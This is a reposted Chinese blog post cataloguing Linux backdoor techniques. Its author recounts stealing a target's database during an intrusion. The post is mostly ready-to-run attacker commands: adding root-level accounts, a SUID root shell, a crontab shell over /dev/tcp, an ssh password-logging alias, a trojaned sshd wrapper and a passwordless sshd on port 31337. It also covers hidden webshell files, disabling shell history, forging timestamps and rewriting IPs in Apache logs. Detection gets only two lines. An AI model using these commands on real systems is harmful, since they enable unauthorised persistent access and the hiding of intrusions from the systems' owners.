• Linux后门的几种姿势


    转载自 https://evilanne.github.io/2017/08/26/Linux后门-持续关注/

    在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux后门,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一至在关注这方面,有的话会继续更新

    常用后门技术

    • 增加超级用户帐号
    • 破解/嗅控用户密码
    • 放置SUID Shell****
    • 利用系统服务程序
    • TCP/UDP/ICMP Shell
    • Crontab定时任务
    • 共享库文件
    • 工具包rootkit
    • 可装载内核模块(LKM)

    增加超级用户

    echo "Img:x:0:0::/:/bin/sh" >> /etc/passwd

    如果系统不允许uid=0的用户远程登录, 还需要增加一个普通用户账号

    echo "Img:x::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

    无回显添加Linux密码:

    • /usr/sbin/useradd -u 0 -o -g root -G root -d /home/Img:x Img:x -p $1$F1B0hFxb$NkzreGE7srRJ**/
    • useradd seradd -u 0 -o -g root -G roo1|| echo "123456" | passwd --stdin roo1
    • echo "123456 123456" |(sudo passwd roo1)
    • useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx 1qaz2wsx"|passwd user1

    破解/嗅探用户密码

    获得shadow文件后,用John the Ripper工具破解薄弱的用户密码。

    嗅探工具,监听telnet、ftp等 端口,收集用户密码。

    放置SUID Shell

    (测试失败):bash2针对suid做了一些护卫措施
    普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

    cp /bin/bash /dev/.rootshell
    chmod u+s /dev/.rootshell
    

    Crontab后门

    (crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;
    no crontab for `whoami`%100c
    ")|crontab –
    

    ssh 公钥免密

    (容易被发现)

    ssh-keygen -t rsa

    id_rsa.pub写入服务端的authorized_keys

    chmod 600 ~/.ssh/authorized_keys
    chmod 700 ~/.ssh
    

    alias 后门

    当前用户目录下.bashrc

    alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
    

    pam 后门 or openssh

    最大问题是编译环境

    SSH wrapper后门简介

    cd /usr/sbin/
    mv sshd ../bin/
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    /etc/init.d/sshd restart
    

    连接:
    socat STDIO TCP4:target_ip:22,sourceport=13377
    默认端口为13377否则会出现:
    image

    mafix rootkit

    应用级rookit,主要替换ls、ps、netstat命令来隐藏文件

    很多系统不被支持
    image

    http://www.tuicool.com/articles/eIv22az

    利用系统服务程序

    修改/etc/inetd.conf
    daytime stream tcp nowait /bin/sh sh –I

    trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序

    TCP/UDP/ICMP Shell

    BindShell,大部分是基于TCP/UDP协议 的网络服务程序,在高端口监听,很容易 被发现。
    Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
    TCP ACK数据包后门,能够穿越防火墙。

    共享库文件

    在共享库中嵌入后门函数
    使用后门口令激活Shell,获得权限
    能够躲避系统管理员对二进制文件本身的 校验

    工具包rootkit

    包含一系列系统及后门工具:

    • 清除日志中的登录记录
    • 伪装校验和
    • 替换netstat、ps等网络工具 – 后门登录程序易于安装和使用

    可装载内核模块(LKM)

    LKM:Loadable Kernel Modules
    动态的加载,不需要重新编译内核。
    截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
    自身隐蔽性好,发现难度较大。
    著名的LKM包有adore和knark。

    SSH后门

    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
    执行完之后,任何一台机器ssh root@IP -p 31337不需要密码

    后门的检测

    使用Tripwire或md5校验来检查系统。
    借助IDS系统,监听到目标机器的可疑网 络连接。

    隐藏文件

    Linux/Unix 藏文件和文件夹
    Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。

    方法一
    比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
    touch .webshell.php 创建名字为 .webshell.php 的文件
    mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

    终极方法
    在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
    是文件的话浏览器访问直接输 … 就行,目录同理。
    touch … 创建名字为 … 的文件
    mkdir … 创建名字为 … 的文件夹


    清理

    bash去掉history记录

    export HISTSIZE=0 export HISTFILE=/dev/null

    修改上传文件时间戳

    touch -r 老文件时间戳 新文件时间戳

    伪造Apache日志中的指定IP

    sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
    sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log

  • 相关阅读:
    如何使用Vue原生组件编译应用程序主题?这个工具不要错过
    BTC系统中具体的区块信息
    hash(哈希)
    比特币共识协议
    计算多分类softmax的loss function
    逻辑回归0.环境设定
    分布式共识
    Hash pointer(哈希指针)
    数字货币中经常出现的问题
    比特币激励机制
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12155905.html
Copyright © 2020-2023  润新知